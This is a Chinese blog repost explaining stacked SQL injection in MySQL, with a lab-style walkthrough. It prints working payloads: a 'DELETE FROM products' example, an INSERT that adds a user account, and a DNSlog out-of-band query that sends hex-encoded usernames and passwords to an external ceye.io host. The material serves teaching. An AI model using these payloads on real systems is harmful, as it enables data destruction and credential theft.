首页 > 数据库 >sql注入之--堆叠注入

sql注入之--堆叠注入

时间:2024-04-04 12:55:07浏览次数:14  
标签:语句 -- 查询 堆叠 sql id 注入

sql注入之--堆叠注入

转自:https://blog.csdn.net/Jayjay___/article/details/132081414

什么是堆叠注入?

用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select * from users ; creat/drop table xxxx like users ;这个指令就是在查询users的同时再创建一个名为xxxx的表


堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
来源:https://www.jianshu.com/p/36f0772f5ce8

局限性:

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
  3. 使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因。

补充:

mysql中点引号( ’ )和反引号( ` )的区别

mysql中 , linux下不区分,windows下区分

区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反引号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

 

查询源码,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。


首先判断能否堆叠注入,show个库(回显所有的库)看看。

?id=-1';select 1,2,(show databases);-- +              【没成功】
向数据表插入id、账号、密码
?id=-1';insert into users(id,username,password) values ('17','Jay','I love 36D too')-- +

然后输入?id=17就可以查询到我刚刚新建的数据。


看国光大佬的博客,这里还能用DNSlog外带配合堆叠注入

?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+

Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。

还有剩余内容,如有需要,请查看原始链接(文章开头转自链接)

标签:语句,--,查询,堆叠,sql,id,注入
From: https://www.cnblogs.com/yeziwinone/p/18114092

相关文章

  • P4391 [BOI2009] Radio Transmission 无线传输
    原题链接题解1.当\(s_2\)长度大于等于\(s_1\)时,我们就令\(s2\)的长度为\(n\)2.当\(len(s_2)<n\)时,我们令此时的\(s_2\)无法被自我链接形成,为什么要这么设?3.此时的\(s_1\)与\(s_2\)的关系一定张这样,为什么\(s_2\)一定开头重合?因为我们可以把不重合的后半部......
  • ctfshow--web10
    dirsearch没有扫到文件查看源代码发现有个style.css文件点击查看查看index.phps代码又是代码审计点击查看代码<?php $flag="";functionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";......
  • 2024.4 第一周做题记录
    \(2024.4.2\)CF1336DYuiandMahjongSet题意:初始有一个值域在\([1,n]\)的多重整数集\(S\),且每个元素重复次数最多为\(n\),定义\(\operatorname{triple}(S)\)表示\(S\)中相同无序三元组数量,\(\operatorname{straight}(S)\)表示\(S\)中连续整数的无序三元组数量,告诉......
  • 第五篇:3.4 用户归因和受众(User attribution and audience) - IAB/MRC及《增强现实广告
    翻译计划第一篇概述—IAB与MRC及《增强现实广告效果测量指南》之目录、适用范围及术语第二篇广告效果测量定义和其他矩阵之-3.1广告印象(ADImpression)第三篇广告效果测量定义和其他矩阵之-3.2可见性(Viewability)第四篇广告效果测量定义和其他矩阵之-3.3无效流量(Invali......
  • 机械识别技术在懂车帝SEO排名代发中的应用与优势
    机械识别技术在懂车帝SEO排名代发中的应用与优势机械行业在懂车帝如何做SEO布局#seo优化seo排名关键词排名#干货分享#短视频运营欢迎大家来到百收网SEO课堂,我是狂潮老师,那么我们第三节课讲的是网页,必须符合机械识别啊。那么在这里再次提醒一下,如果同学们你们的基础不好,那......
  • 哈佛大学商业评论 -- 第一篇:为什么每个企业都需要制定一个增强现实战略?
    --《经理们的增强现实手册》(共5篇)(WhyEveryOrganizationNeedsanAugmentedRealityStrategy)AR将全面融入公司发展战略!AR将成为人类和机器之间的新接口!AR将成为人类的关键技术之一!请将此文转发给您的老板!--- 本文作者:MichaelE.Porter和JamesE.Heppelmann虽然物......
  • 挑战程序设计竞赛 2.6章习题 UVA - 10006 Carmichael Numbers
    https://vjudge.csgrandeur.cn/problem/UVA-10006当今计算机科学的一个重要的领域就是密码学。有些人甚至认为密码学是计算机科学中唯一重要的领域,没有密码学生命都没有意义。阿尔瓦罗就是这样的一个人,它正在设计一个为西班牙杂烩菜饭加密的步骤。他在加密算法中应用了一......
  • 安全设备篇——态势感知
    欢迎关注公众号"一己之见安全团队"今天开始水一个新的系列,安全设备。其实网上很多有关安全设备的帖子,且各大厂家官网的产品详情也是介绍的清清楚楚的,开启此篇章的目的(除了水)主要是给刚入门的小师傅们尽可能通俗易懂的介绍各类安全设备的用途,而今天的主角就是——态势感知。......
  • 置换矩阵
    矩阵,可以用二维数组表示出来用二维数组的下标来显示矩阵如下:1 2 34 5 67 8 9原矩阵   1  4 72  5 83  6 9置换矩阵[0][0][0][1][0][2][1][0][1][1][1][2][2][0][2][1][2][2] [0][0][0][1][0][2][1][0] ......
  • 【数据库】锁表原因及处理
    文章目录什么是数据库锁表?数据库锁表可能会导致什么问题?死锁问题的原因分析如何避免数据库锁表?解决死锁问题的常用策略解决死锁问题mysql锁表处理ORACEL数据库锁表处理SQLServer数据库锁表处理来源什么是数据库锁表?答:数据库锁表是指在数据库中,为了保证数据的一致性......